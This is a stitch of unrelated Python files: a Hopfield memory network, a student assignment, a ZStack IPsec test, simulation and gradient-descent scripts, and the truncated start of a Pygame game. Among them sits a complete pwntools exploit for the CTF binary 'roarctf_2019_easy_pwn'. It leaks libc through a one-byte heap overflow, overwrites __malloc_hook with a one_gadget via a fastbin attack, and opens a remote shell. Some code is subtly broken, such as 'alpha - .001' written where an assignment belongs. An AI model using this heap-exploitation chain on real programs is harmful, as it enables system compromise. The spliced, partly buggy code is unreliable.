import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.tensorboard import SummaryWriter
import scipy
import pdb
import copy
from scipy.stats import truncnorm
from scipy.special import comb
from Memory.world import Grid, Envs, Agent
from Memory.utils import MLP
from torch.utils.data import Dataset, DataLoader
import itertools

# use lstm to retrivial memory and train it? or use hopefield network update?  may find a better readout
class MemoryNet(nn.Module):
    """
    Rey, reused by both Generative and Inference model.
    Generator: pt ~ N(.| u = attractor(gt_, Mt-1), sigma = f(u))
    Inference: px_t = attractor(x_t, Mt-1)
    """
    def __init__(self, n_iteration = 50, kappa = 0.8, lamda = 0.9, yita = 0.1, nx_in = 26, ng_in = 17, nx_out = 20, ng_out = 10, num_class = 7, hop_type = 1, heb_type = 0):
        super().__init__()
        self.n_iteration = n_iteration
        self.kappa = kappa
        self.dim_x = nx_out
        self.dim_g = ng_out
        self.x_transform = False
        self.g_transform = False
        if not self.x_transform:
            nx_out = nx_in
            self.dim_x = nx_in
        if not self.g_transform:
            ng_out = ng_in
            self.dim_g = ng_in
        self.hop_type = hop_type
        self.heb_type = heb_type
        self.W_tile = torch.tensor(np.kron(np.ones((1, self.dim_x)), np.eye(self.dim_g)), dtype=torch.float)
        self.W_repeat = torch.tensor(np.kron(np.eye(self.dim_x), np.ones((1, self.dim_g))), dtype=torch.float)
        self.lamda = lamda
        self.yita = yita
        self.register_buffer('M', torch.zeros(1, self.dim_g*self.dim_x, self.dim_g*self.dim_x))
        self.r = nn.Parameter(torch.FloatTensor([self.lamda]))
        # self.lam_net = MLP(nx * ng_out, nx * ng_out, 1)

        self.transform_g = MLP(in_dim=ng_in, hidden_dim=2* ng_in,  out_dim=ng_out)
        self.transform_sensory = MLP(in_dim=nx_in, hidden_dim=2 * nx_in, out_dim=nx_out)
        # self.predict_sensory = nn.Sequential(nn.Linear(nx_out, num_class))
        self.predict_sensory = MLP(in_dim=nx_out, out_dim=num_class, bias=[True], num_layer=1)
        self.relu = nn.LeakyReLU(inplace=False)
        self.tanh = nn.Tanh()
        self.x_buffer = []
        self.g_buffer = []
        self.label_buffer = []

    """
    Recursive memory retrivial, like a reasnoning process.  The key modification of original hopfield is adding kqv like change
    """
   # checked with no problem, key variables, p_, M
    def retrive_memory(self, query, M, n_iteration = None):
        """
        Generator: pt ~ N(.| u = attractor(gt_, Mt-1), sigma = f(u))
        or Inference: px_t = attractor(xt_, Mt-1)
        :param query: gt_ in Generator or xt_ in Inference
            list, n_stream * (tensor)[batch_size, p_dimension]
        :param M: tensor[batch_size, p_dimension, p_dimension]
        :return: pt(Generator) or px_t(Inference)
            list n_stream * (tensor)[batch_size, p_dimension]
        """
        # dimensionality of h_t is same qs queray
        # h_t = torch.cat(query, dim=1)  # [batch_size, sum(p_dimension_list)]
        h_t = self.f_p(query)  # todo: whether to use leaky relu?
        # todo: check the dimension of the whole function
        # todo: how to keep M upper bound block matrix
        # iteration process to get memory , need to value to be in between -1, 1
        #         print ('query shape', torch.unsqueeze(h_t, 1).shape, 'memory shape', M.shape)
        if n_iteration == None:
            n_iteration = self.n_iteration
        else:
            n_iteration = n_iteration
        for tau in range(n_iteration):
            # the matrix product between h and M is in dimension  g * x * 1,
            # kappa controls speed to converge to fix point, could change into form of lstm
            if self.hop_type == 0:
                h_t = self.f_p(self.kappa * h_t + torch.squeeze(torch.matmul(torch.unsqueeze(h_t, 1), M)))
            elif self.hop_type == 1:
                # this is the attention process like kqv, h is query vector, ht * M is just k * v (memo)
                h_t = self.f_p(self.kappa * h_t + h_t * torch.squeeze(torch.matmul(torch.unsqueeze(h_t, 1), M)))
            elif self.hop_type == 2:
                h_t = self.f_p(self.kappa * h_t + h_t * F.softmax(torch.squeeze(torch.matmul(torch.unsqueeze(h_t, 1), M))))
            # elif self.hop_type == 3:
            # print (self.M.shape)
            # h_t = torch.squeeze(torch.matmul(torch.unsqueeze(h_t, 0), self.M))
        # h_t = h_t.matmul(M)
            # h_t = query
            # elif self.hop_type == 3:
            #     h_t = self.f_p(self.r * h_t + h_t * torch.squeeze(torch.matmul(torch.unsqueeze(h_t, 1), self.M)))
        # n_p = np.cumsum(np.concatenate(([0], self.p_dimension_list)))
        # p = [h_t[:, n_p[f]:n_p[f + 1]] for f in range(self.n_stream)]
        return h_t.reshape(1, 1, -1)
        # todo: optional? for generative model, Gussian sampling is needed,
        #  while for inference model, it's not

    def f_p(self, input):
        x = self.relu(input)
        # print (x)
        x = torch.clamp(x, min=-1, max=1)

        return x

    def get_x(self, p_):
        return torch.matmul(self.W_repeat, p_.view(-1))

    def get_g(self, p_):
        return torch.matmul(self.W_tile, p_.view(-1))
    """
    Could use NN to control the information flow of forgetting and writting
    """
# hebbain learning
    def form_memory(self, p, p_):
        """
        Mt = hebbian(Mt-1, pt)
        Mt = lamda * Mt-1 + yita * (pt - pt_) * (pt + pt_)T
        :param p: pt, list, [batch_size, p_dimension]
        :param p_: pt_, list, [batch_size, p_dimension]
        :param M: Mt-1, [batch_size, p_dimension, p_dimension]
        :return: M: Mt, [batch_size, p_dimension, p_dimension]
        """
        M_new = torch.squeeze(torch.matmul(torch.unsqueeze(p + p_, 2), torch.unsqueeze(p - p_, 1)))
        if self.heb_type == 0:
            self.M = self.lamda * self.M + self.yita * M_new
        elif self.heb_type == 1:
            self.M = self.lam_net(p) * self.M + self.yita * M_new

        #         print('memory shape', M_new.shape, M.shape)
        # M_new = M_new * self.M_update_mask
        # todo: what' s ovc in parameters.py

    def clear_memory(self):
        self.M = torch.zeros(1, self.dim_g*self.dim_x, self.dim_g*self.dim_x)
        self.x_buffer = []
        self.g_buffer = []
        self.label_buffer = []

    def forward(self, x, g, M, heb = True, n_iteration = None):
        if self.x_transform:
            x_ = self.transform_sensory(x)
        else:
            x_ = x
        if self.g_transform:
            g_ = self.transform_g(g)
        else:
            g_ = g
        # print (x_.shape, g_.shape)
        p = [torch.matmul(torch.t(x_), g_) .reshape(1, self.dim_x * self.dim_g)]
        #
        p_ = self.retrive_memory(torch.matmul(g_, self.W_tile), M, n_iteration=n_iteration)
        # print (p_)

        #             print('place cell of retrivial', len(p_), p_[0].shape)
        #  memory formation is just to save difference between seen data and unseen
        if heb:
            self.form_memory(p[0], p_[0])
        x_out = torch.matmul(self.W_repeat, p_.squeeze())
        # g_out = torch.matmul(self.W_tile, p_.squeeze())
        x_inf = self.predict_sensory(x_out)

        return x_inf, g_, x_, p, p_

class MemoryGame(MemoryNet):
    def __init__(self, type = 'objects', size = 15, n_iteration = 50, kappa = 0.8, lamda = 0.9, yita = 0.1, nx_in = 26, nx_out = 10, ng_in = 17, ng_out = 10, num_class = 7, hop_type = 1, heb_type = 0):
        MemoryNet.__init__(self, n_iteration = n_iteration, kappa = kappa, lamda = lamda, yita = yita, nx_in = nx_in, nx_out = nx_out, ng_in = ng_in,  ng_out = ng_out, num_class = num_class, hop_type = hop_type, heb_type=heb_type)
        self.env = Envs(grid_size=size, type = type)
        self.agent = Agent(grid_size=size)
        self.g = []
        self.x = []
        self.labels = []
        self.size = size
        self.type = type
        self.batch_size = 1

    def reset_env(self):
        self.env = Envs(grid_size=self.size, type=self.type)

    def generate_walks(self, chunks=3):

        actions = [[np.random.randint(0, 4)] * 5 for i in range(chunks)]
        actions = list(itertools.chain.from_iterable(actions))
        return actions

    def placefield(self):
        field = np.zeros((2, self.size))
        for k in range(2):
            for i in range(field.shape[1]):
                # distance generation
                field[k, i] = (i - self.agent.pos[k]-2) ** 2
                # gaussian density, but before exponential to help learning identity mapping input to output
        field = torch.exp(- 0.1 * torch.from_numpy(field).resize(2 * (self.size)).float())
        return field

    def data_collect(self, chunks = 3):
        Pos = zip([np.random.randint(2, self.size+2) for i in range(5)], [np.random.randint(2, self.size+2) for i in range(8)])
        actions = self.generate_walks(chunks=chunks)
        # print (Pos)
        for init_pos in Pos:
            # print (init_pos)
            self.agent.reset(grid_size = self.size, set_agent = init_pos)
            for act in actions:
                # print(act, agent.pos)
                self.agent.act(act)
                pos =torch.cat([torch.eye(self.size)[self.agent.pos[0]-2], torch.eye(self.size)[self.agent.pos[1]-2]])
                self.x_buffer.append(
                    torch.from_numpy(self.env.sensory[self.agent.pos].ravel()).view(1, -1).type(torch.FloatTensor)-1)
                # print(self.env.objects[agent.pos])
                self.g_buffer.append(pos.view(1, -1))
                self.label_buffer.append(torch.LongTensor(self.env.objects[self.agent.pos]))
                # print (self.agent.pos, act, self.env.objects[self.agent.pos])

    """
     p_ and M are used in a recursive manner, with computation graph retained , all variables in loop should be kept same until the graph released, or stop gradient there
    """

    # attention to loss, should
    def train_g(self, Optim, xs, gs, labels, heb = True):
        Loss, Loss_heb = [], []
        # replay
        mse = torch.nn.MSELoss()
        # it contains softmax so no activation function before
        entropy = torch.nn.CrossEntropyLoss()
        # M = np.zeros((1, self.dim_x*self.dim_g, self.dim_x*self.dim_g))
        # self.M.require_grad = True
        X_inf, Label = [], []
        # self.M.detach_()
        self.M = torch.autograd.Variable(self.M)
        # heb is a serial process(formation and retrivial), other than that all can be parallized
        for i, (x, g, label) in enumerate(zip(xs, gs, labels)):
            #             print ('item', t)
            # leaf variable M, x, g, so no intermidate variables will be used
            x_inf, g_, x_ , p, p_= self.forward(x, g, self.M, heb=heb)
            # try to get softmax of num of word if want entropy
            # print ('loss', x_inf.view(self.batch_size, -1), torch.FloatTensor(label))
            # l1 loss
            # loss_reg = 0
            # for par in self.parameters():
            #     loss_reg += torch.abs(par).sum()
            # loss_heb = mse(p_[0], p[0])
            X_inf.append(x_inf)
            Label.append(label)
            # print (label)
            # loss = entropy(x_inf.view(self.batch_size, -1), torch.FloatTensor(label).view(self.batch_size)) #+ 1e-2 * loss_reg
            # Loss_heb.append(loss_heb)
            # Loss.append(loss)
            # p_ = p_.detach()
            # p_.requires_grad = False
            # M = M.data.numpy()
            # p_ = p_.data.numpy()
            # print ('grad', self.predict_sensory[0].weight.grad)
            # weight = self.predict_sensory[0].weight.data.clone()
        # Loss = torch.sum(torch.stack(Loss))
        # Loss_heb = torch.sum(torch.stack(Loss_heb))
        Optim.zero_grad()
        X_inf = torch.stack(X_inf)
        Label = torch.stack(Label)
        # back prop on inference of x
        Loss = entropy(X_inf.view(len(X_inf), -1), Label.view(len(Label)))
        Loss.backward()
        # Loss_heb.backward(retain_graph=True)
        Optim.step()
        # print('change', weight - self.predict_sensory[0].weight.data)

        self.M = self.M.detach()
        # p_ = p_.detach()
        return Loss, Loss_heb

    def test(self, show = False):
        Acc = 0
        for x, g in zip(self.x, self.g):
            p_ = self.retrive_memory(torch.matmul(g, self.W_tile))
            wordcode = torch.matmul(p_[0], torch.t(self.W_repeat)).data.numpy().ravel()
            predict = np.argmax(self.env.decode_nhot(wordcode))
            label = np.argmax(self.env.decode_nhot(x.data.numpy().ravel()))
            Acc += (predict == label)
            if show:
                print('predict', self.env.objects_type[predict])
                print('label', self.env.objects_type[label])
                print('x', torch.topk(x, k=4)[1], 'readout x',
                      torch.topk(torch.matmul(p_[0], torch.t(self.W_repeat)), k=4)[1], "\\n")
                print('x', torch.round(torch.topk(x, k=4)[0]), 'readout x', torch.round(torch.topk(torch.matmul(p_[0], torch.t(self.W_repeat)), k=4)[0]), "\\n")
        Acc = Acc / len(self.x)
        print('accuracy', Acc)
        return Acc

    def test_g(self):
        Acc = 0
        indice = torch.tensor(np.random.randint(len(self.x_buffer), size = 20))
        # print ('len', len(game.x_buffer), indice)
        xs = torch.stack(self.x_buffer)[indice]
        gs = torch.stack(self.g_buffer)[indice]
        labels = torch.stack(game.label_buffer)[indice]
        self.M.detach_()
        for x, g, label in zip(xs, gs, labels):
            x_inf, g_, x_, _, _ = self.forward(x, g, self.M, heb = False, n_iteration=10)
            # print ('g', self.transform_g(g))
            # print (x_)
            predict = torch.argmax(x_inf)
            print (predict, label)
            Acc += (predict.data.numpy() == label.data.numpy())
        Acc = Acc / len(xs)
        print('accuracy', Acc)
        return Acc

"""
it is easy to forget, once run two traces, the last one cannot be recalled (yita = 0.5, 0.1). problem should due to storage
(p- p_) should return 0 if the two are similar, it may be due to poor memory capacity, increasing the length of each random works
seems improves the performance.

Analyse can be done for 1, evns type(is it pass hopfield limit?) 2, evns correlation, is it spurious correlation? 3, stabilization with
time or places visited or neither?  Reduce replay of each episode improves , reduce map size improves
"""

# initial replay 5, kappa 0.9
if __name__ == '__main__':
    # writer = SummaryWriter('/home/tie/tem/experiment_6')
    size =10
    game = MemoryGame(size = size, n_iteration=5, kappa = 0.5, lamda = 0.99, yita = 0.5, hop_type=1, heb_type = 0, nx_in = 26, ng_in = 2 * size, nx_out = 20, ng_out = 15, num_class=8)
    Optim = torch.optim.Adam(game.parameters(), lr=1e-3)
    for par in game.parameters():
        print (par.shape)
    # buffer_x, buffer_g = [], []
    Loss, Loss_heb = 0, 0
    Acc, k = 0, 0
    for i in range(int(1e4)):
        if i%10 == 0 and i>0:
            game.M.detach()
            game.clear_memory()
            game.reset_env()
        game.data_collect()
        # train_data = zip(game.x, game.g, game.labels)
        # train_loader = DataLoader(dataset=train_data, shuffle=True)
        indice = torch.tensor(np.random.randint(len(game.x_buffer), size = 100))
        # print ('len', len(game.x_buffer), indice)
        xs = torch.stack(game.x_buffer)[indice]
        gs = torch.stack(game.g_buffer)[indice]
        labels = torch.stack(game.label_buffer)[indice]
        loss, _ = game.train_g(Optim, xs, gs, labels)
        Loss += loss
        # for k in range(replay):
        #     loss, loss_heb = game.train_g(shuffle=True, heb=False)
        #     Loss += loss
        #     Loss_heb += loss_heb
        # # writer.add_scalar('training loss', loss ,i%10)
        # print (i, torch.norm(game.M - M), 'train loss', loss)
        # paras = torch.cat([x.view(-1) for x in game.transform_g.parameters()])
        # print (torch.norm(paras))
        # buffer_x.append(game.x)
        # buffer_g.append(game.g)
        if i%10 == 0:
            print ('loss', Loss)
            torch.save(game, '/mnt/data/tie/tem/tem_0.pth')
            Loss, Loss_heb = 0, 0
        if (i + 1) % 10 == 0 and i > 0:
            game.x, game.g = [], []
            game.data_collect()
            print('epoch', i % 10)
            acc = game.test_g()
            # writer.add_scalar('Accuracy', acc, i)
            Acc += acc
            k += 1
            print('accumulated accuracy', Acc / k)
            # else:
            #     game.x, game.g = [], []
            #     # ind = np.random.randint(len(buffer_g))
            #     inds = [-1, 0]
            #     for ind in inds:
            #         print('ind', ind)
            #         game.x = buffer_x[ind]
            #         game.g = buffer_g[ind]
            #         game.test_g()


#! /usr/bin/python

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',29640)
#p = process('./roarctf_2019_easy_pwn')
elf = ELF('./roarctf_2019_easy_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level = 'debug'

def menu(choice):
	p.recvuntil('choice: ')
	p.sendline(str(choice))

def add(size):
	menu(1)
	p.recvuntil('size: ')
	p.sendline(str(size))

def write(idx,size,content):
	menu(2)
	p.recvuntil('index: ')
	p.sendline(str(idx))
	p.recvuntil('size: ')
	p.sendline(str(size))
	p.recvuntil('content: ')
	p.sendline(content)

def drop(idx):
	menu(3)
	p.recvuntil('index: ')
	p.sendline(str(idx))

def show(idx):
	menu(4)
	p.recvuntil('index: ')
	p.sendline(str(idx))

###leak libc###
add(0x28)#0
add(0x28)#1
add(0x28)#2
add(0x38)#3
add(0x60)#4
add(0x60)#5
add(0x60)#6

payload = 'A' * 0x20 + p64(0) + '\xa1'
write(0,(0x28+10),payload)
drop(1)
add(0x28)#1

show(2)
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88
libc_base = main_arena - 0x3c4b20
success('libc base:'+hex(libc_base))

###fastbin attack###
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
fake_chunk = malloc_hook - 0x23
one_gadget = libc_base + 0xf02a4

add(0x28)#2
add(0x38)#3

payload ='A' * 0x30 + p64(0) + '\xe1'
write(3,0x38+10,payload)
drop(4)
drop(5)
add(0xd1)#4

payload = 'A' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk)
write(4,len(payload),payload)

add(0x60)#5
add(0x60)#7 malloc_hook
p.recvuntil('the index of ticket is ')
index = p.recv(1)

payload = 'A' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc+13)
write(index,len(payload),payload)

###get shell###
p.interactive()


"""
Author: Sanam Jena
CWID:10454295
Date: 08 November 2020
Objective: In this assignment is to work on datetime,files & prettytable
"""

from typing import Tuple, Iterator, List, IO, Dict
from datetime import timedelta, datetime
from prettytable import PrettyTable
import os

def date_arithmetic() -> Tuple[datetime, datetime, int]:
    """In this function, we will be answering the following questions:
    1. What is the date three days after Feb 27, 2020?
    2. What is the date three days after Feb 27, 2019?
    3. How many days passed between Feb 1, 2019 and Sept 30, 2019?

    Returns:
        A tuple with three values in the following order:
        1. An instance of  class datetime representing the date three days
        after Feb 27, 2020.
        2. An instance of  class datetime representing the date three days
        after Feb 27, 2019.
        3. An int representing the number of days between Feb 1, 2019 and
        Sept 30, 2019
    """
    three_days_after_02272020: datetime = datetime(
        2020, 2, 27) + timedelta(days=3)
    three_days_after_02272019: datetime = datetime(
        2019, 2, 27) + timedelta(days=3)
    days_passed_02012019_09302019: int = (
        datetime(2019, 9, 30) - datetime(2019, 2, 1)).days

    return (
        three_days_after_02272020,
        three_days_after_02272019,
        days_passed_02012019_09302019)

def file_reader(path: str, fields: int, sep: str = ',',
                header: bool = False) -> Iterator[List[str]]:
    """In this function, we will implement a generator that will yield
    new line of a file on call of next

    Args:
        path (str): File Path
        fields (int): fields
        sep (str, optional): Separator. Defaults to ','.
        header (bool, optional): Defaults to False.

    Yields:
        Iterator[Tuple[str]]
    """
    try:
        fp: IO = open(path, 'r')
    except FileNotFoundError:
        raise FileNotFoundError(f"Cannot open file at {path} ")
    else:
        line_number: int = 0
        for line in fp:
            row: List[str] = line.strip().split(sep)
            line_number += 1
            if len(row) != fields:
                fp.close()
                raise ValueError(
                    f"File {path} at line {line_number} has  {len(row)} items, whereas the \
                    expected items where {fields} ")
            if header is False:
                yield row
            else:
                header = False

class FileAnalyzer:
    """given a directory name, searches that directory for Python files
    (i.e. files ending with .py). For each .py file in the directory, open
    each file and calculate a summary of the file including:
         1.the file name
         2.the total number of lines in the file
         3.the total number of characters in the file
         4.the number of Python functions (lines that begin with ‘def ’,
         including methods inside class definitions)
         5.the number of Python classes (lines that begin with ‘class ’)
    Discussed with Rajat Verma & Tehreem Tungekar
    """

    def __init__(self, directory: str) -> None:
        """ In this method, we are initializing the class
        """
        self.directory: str = directory  # NOT mandatory!
        self.files_summary: Dict[str, Dict[str, int]] = dict()
        self.analyze_files()  # summerize the python files data

    def analyze_files(self) -> None:
        """ In this method, we will be summarizing and storing the data
        into self.files_summary
        """
        path: str = self.directory
        direct: List[str] = os.listdir(path)
        for f in direct:
            if f.endswith('.py'):
                try:
                    fp = open(os.path.join(path, f), 'r')
                except FileNotFoundError:
                    raise FileNotFoundError(f"File {f} cannot be openend")
                else:
                    with fp:
                        character_count: int = 0
                        class_count: int = 0
                        function_count: int = 0
                        line_count: int = 0

                        for line in fp:
                            character_count += len(line)
                            line_count += 1

                            if line.strip().startswith('def '):
                                function_count += 1
                            if line.startswith('class '):
                                class_count += 1

                        self.files_summary[f] = {
                            'classes': class_count,
                            'functions': function_count,
                            'lines': line_count,
                            'characters': character_count
                        }

    def pretty_print(self) -> None:
        """In this function, we will print the summarized detail into
        a table using prettytable module
        """
        output: PrettyTable = PrettyTable()
        output.field_names = ['File Name', 'Classes',
                              'Functions', 'Lines', 'Characters']

        for i, j in self.files_summary.items():
            output.add_row([i, j['classes'], j['functions'],
                            j['lines'], j['characters']])

        print("\nSummary for ", self.directory)
        print(output)


'''

New Integration Test for ipsec vip qos.

@author: chenyuanxu
'''
import zstackwoodpecker.test_util as test_util
import zstackwoodpecker.test_lib as test_lib
import zstackwoodpecker.test_state as test_state
import zstackwoodpecker.operations.ipsec_operations as ipsec_ops
import zstackwoodpecker.operations.resource_operations as res_ops
import zstackwoodpecker.operations.net_operations as net_ops
import zstackwoodpecker.operations.vm_operations as vm_ops
import zstacklib.utils.ssh as ssh
import time
import subprocess
import os

test_stub = test_lib.lib_get_test_stub()
test_obj_dict1 = test_state.TestStateDict()
test_obj_dict2 = test_state.TestStateDict()
ipsec1 = None
ipsec2 = None
mevoco1_ip = None
mevoco2_ip = None

def test():
    global mevoco1_ip
    global mevoco2_ip
    global ipsec1
    global ipsec2
    vip_bandwidth = 1*1024
    mevoco1_ip = os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP']
    mevoco2_ip = os.environ['secondZStackMnIp']
    test_util.test_dsc('Create test vm in mevoco1')
    vm1 = test_stub.create_vlan_vm(os.environ.get('l3VlanNetworkName1'))
    test_obj_dict1.add_vm(vm1)
    vm1.check()
    vm1_inv=vm1.get_vm()
    vm1_nic = vm1.vm.vmNics[0]
    pri_l3_uuid1 = vm1.vm.vmNics[0].l3NetworkUuid
    vr1 = test_lib.lib_find_vr_by_l3_uuid(pri_l3_uuid1)[0]
    l3_uuid1 = test_lib.lib_find_vr_pub_nic(vr1).l3NetworkUuid
    vip1 = test_stub.create_vip('ipsec1_vip', l3_uuid1)
    cond = res_ops.gen_query_conditions('uuid', '=', pri_l3_uuid1)
    first_zstack_cidrs = res_ops.query_resource(res_ops.L3_NETWORK, cond)[0].ipRanges[0].networkCidr

    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco2_ip
    test_util.test_dsc('Create test vm in mevoco2')
    vm2 = test_stub.create_vlan_vm(os.environ.get('l3VlanDNATNetworkName'))
    test_obj_dict2.add_vm(vm2)
    vm2.check()
    vm2_inv=vm2.get_vm()
    pri_l3_uuid2 = vm2.vm.vmNics[0].l3NetworkUuid
    vr2 = test_lib.lib_find_vr_by_l3_uuid(pri_l3_uuid2)[0]
    l3_uuid2 = test_lib.lib_find_vr_pub_nic(vr2).l3NetworkUuid
    vip2 = test_stub.create_vip('ipsec2_vip', l3_uuid2)
    cond = res_ops.gen_query_conditions('uuid', '=', pri_l3_uuid2)
    second_zstack_cidrs = res_ops.query_resource(res_ops.L3_NETWORK, cond)[0].ipRanges[0].networkCidr

    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco1_ip
    test_util.test_dsc('Create ipsec in mevoco1')
    ipsec1 = ipsec_ops.create_ipsec_connection('ipsec1', pri_l3_uuid1, vip2.get_vip().ip, '123456', vip1.get_vip().uuid, [second_zstack_cidrs])
    vip1_qos = net_ops.set_vip_qos(vip_uuid=vip1.get_vip().uuid, inboundBandwidth=vip_bandwidth*8*1024, outboundBandwidth=vip_bandwidth*8*1024)

    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco2_ip
    test_util.test_dsc('Create ipsec in mevoco2')
    ipsec2 = ipsec_ops.create_ipsec_connection('ipsec2', pri_l3_uuid2, vip1.get_vip().ip, '123456', vip2.get_vip().uuid, [first_zstack_cidrs])
    vip2_qos = net_ops.set_vip_qos(vip_uuid=vip2.get_vip().uuid, inboundBandwidth=vip_bandwidth*8*1024, outboundBandwidth=vip_bandwidth*8*1024)

    test_stub.make_ssh_no_password(vm2_inv)
    test_stub.install_iperf(vm2_inv)

    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco1_ip
    test_stub.make_ssh_no_password(vm1_inv)
    test_stub.install_iperf(vm1_inv)
    iptables_cmd = "iptables -F"
    exec_cmd_in_vm(vm1, iptables_cmd, "Failed to clean iptables.")
    exec_cmd_in_vm(vm2, iptables_cmd, "Failed to clean iptables.")
    test_stub.test_iperf_bandwidth(vm1_inv,vm2_inv,vm1_nic.ip,5001,5001,vip_bandwidth)

    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco1_ip
    ipsec_ops.delete_ipsec_connection(ipsec1.uuid)
    test_lib.lib_error_cleanup(test_obj_dict1)
    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco2_ip
    ipsec_ops.delete_ipsec_connection(ipsec2.uuid)
    test_lib.lib_error_cleanup(test_obj_dict2)
    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco1_ip
    test_util.test_pass('Test Ipsec VIP Qos Success')

#Will be called only if exception happens in test().
def error_cleanup():
    global mevoco1_ip
    global mevoco2_ip
    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco1_ip
    global test_obj_dict1
    test_lib.lib_error_cleanup(test_obj_dict1)

    global ipsec1
    if ipsec1 != None:
        ipsec_ops.delete_ipsec_connection(ipsec1.uuid)

    os.environ['ZSTACK_BUILT_IN_HTTP_SERVER_IP'] = mevoco2_ip
    global test_obj_dict2
    test_lib.lib_error_cleanup(test_obj_dict2)

    global ipsec2
    if ipsec2 != None:
        ipsec_ops.delete_ipsec_connection(ipsec2.uuid)


from NeuralNetwork import NN
from NetworkSimulation import Sim
import quantify_sims_multithreading as pq
from the_generic_plotter import plot_stims, plot_activities
import pandas as pd
import numpy as np

def avg(x):
    return sum(x) / len(x)

def initialize_file(loc, cols):
    f = open(loc, 'a+')
    f.write(cols+'\n')
    f.close()

## set network parameters
n_neurons = 100
ms = 3000
n_iters = 100
dt = .001
n_stim=1
eta = .0001
stim_cols = list(range(ms))
stim_cols = ','.join(['%.5f' % num for num in stim_cols])
r = str(np.random.randn())

## initialize files for storing
t_stim = ['storing/relu_stim_' + r + '.csv']
initialize_file(t_stim[0], stim_cols)
u_stim = ['storing/constant_stim_' + r + '.csv']
initialize_file(u_stim[0], stim_cols)

## run networks in parallel
tt = pq.PQ(n_iters=n_iters, stim_l = t_stim,
           n_neurons=n_neurons, ms=ms, dt=dt, eta=eta, plastic_synapse=True, pretune=False)
ut = pq.PQ(n_iters=n_iters, stim_l = u_stim,
           n_neurons=n_neurons, ms=ms, dt=dt, plastic_synapse=False)

print('Time to run tuned ' + str(tt/60) + ' minutes')
print('Time to run untuned ' + str(ut/60) + ' minutes')

## read in files
tuned_stims = pd.read_csv(t_stim[0])
tuned_stims = pd.DataFrame.transpose(tuned_stims)
constant_stims = pd.read_csv(u_stim[0])
constant_stims = pd.DataFrame.transpose(constant_stims)

## create FEVER results (see Druckmann + Chlovskii 2014 for actual implementation details)
fever_stims = pd.DataFrame(np.ones((tuned_stims.shape[0], tuned_stims.shape[1])))

## plot
labels = ['Constant Synapse', 'Plastic Synapse', 'FEVER']
dfs = [constant_stims, tuned_stims, fever_stims]
plot_stims(dfs, labels=labels, colors=['red', 'blue', 'black'], yadds=[.025, -.08, .025], ylim=[-.1, 1.1])

## plot zoomed
dfs = [tuned_stims, fever_stims]
labels = ['Plastic Synapse', 'FEVER']
plot_stims(dfs, labels=labels, colors=['blue', 'black'], a_colors = ['#8080ff', '#8080ff'], yadds=[.00018, .00005])


import numpy as np
import matplotlib.pyplot as pl
from mpl_toolkits.mplot3d import Axes3D

np.random.seed(1)

x_min = 4
x_max = 30
X = 5 + 25 * np.random.rand(16)
T = 170 - 108 * np.exp(-0.2 * X) + 4 * np.random.randn(16)

# Mean square error function
def MeanSquareError(x, t, w):
    y = w[0] * x + w[1]
    out = np.mean((t - y) ** 2)

    return out

def DeviationMeanSquareError(x, t, w):
    Y = w[0] * x + w[1]
    dW0 = 2 * np.mean((Y - t) * x)
    dW1 = 2 * np.mean(Y - t)

    return dW0, dW1

def Fit(x, t):
    alpha - .001
    iterations = 100000
    eps = .1
    w = np.zeros([iterations, 2])
    w[0, : ] = [10.0, 165.0]

    for index in range(1, iterations):
        out = DeviationMeanSquareError(x, t, w[index - 1])
        w[index, 0] = w[index - 1, 0] - alpha * out[0]
        w[index, 1] = w[index - 1, 1] - alpha * out[1]

        if max(np.absolute(out)) < eps:
           break

    w0 = w[index, 0]
    w1 = w[index, 1]
    w = w[ : index, : ]

    return w0, w1, out, w

if __name__ == '__main__':
   alpha = .001
   N = 100
   x0 = np.linspace(-25, 25, N)
   x1 = np.linspace(120, 170, N)
   X0, X1 = np.meshgrid(x0, x1)
   Y = np.zeros((len(x0), len(x1)))

   for i in range(N):
       for j in range(N):
           Y[j, i] = MeanSquareError(X, T, (x0[i], x1[j]))

   pl.figure(figsize = (9.5, 4))
   pl.subplots_adjust(wspace = .5)

   # subplot(nrows, ncols, index, **kwars)
   axis = pl.subplot(1, 2, 1, projection = '3d')
   axis.plot_surface(X0, X1, Y, rstride = 10, cstride = 10, alpha = .3,
     color = 'blue', edgecolor = 'black')
   axis.set_xticks([-20, 0, 20])
   axis.set_yticks([120, 140, 160])
   axis.view_init(20, -40)

   pl.subplot(1, 2, 2)
   cont =pl.contour(X0, X1, Y, 30, color = 'black',
     levels = [100, 1000, 10000, 100000])
   cont.clabel(fmt = '%1.0f', fontsize = 8)
   pl.grid(True)
   pl.show()

   # Gradient descent
   w0, w1, out, w = Fit(X, T)

   print('Number of iterations: ' + str(w.shape[0]))
   print('w = [' + str(w0) + ', ' + str(w1) + ']')
   print('Deviation = [' + str(out[0]) + ', ' + str(out[1]) + ']')
   print('Mean square error = ' + str(MeanSquareError(X, T, [w0, w1])))

   pl.plot(w[:, 0], w[:, 1], '.-', color = 'gray', markersize = 10,
     markeredgecolor = 'cornflowerblue')

   pl.show()


import sys
from settings import Settings
from ship import Ship
from pygame.sprite import Group
import game_functions as gf
from alien import Alien
from game_stats import GameStats

import pygame

def run_game():
    # Initialize game and create a screen object.
    pygame.init()
    ai_settings = Settings()
    screen = pygame.display.set_mode(
        (ai_settings.screen_width, ai_settings.screen_height))
    pygame.display.set_caption("Alien Invasion")

    # Set the background Color
    bg_color = (230,230,230)

    # Make a ship, a group of bullets, and a group of aliens.
    ship = Ship(ai_settings, screen)
    bullets = Group()
    aliens = Group()

    # Create the fleet of aliens
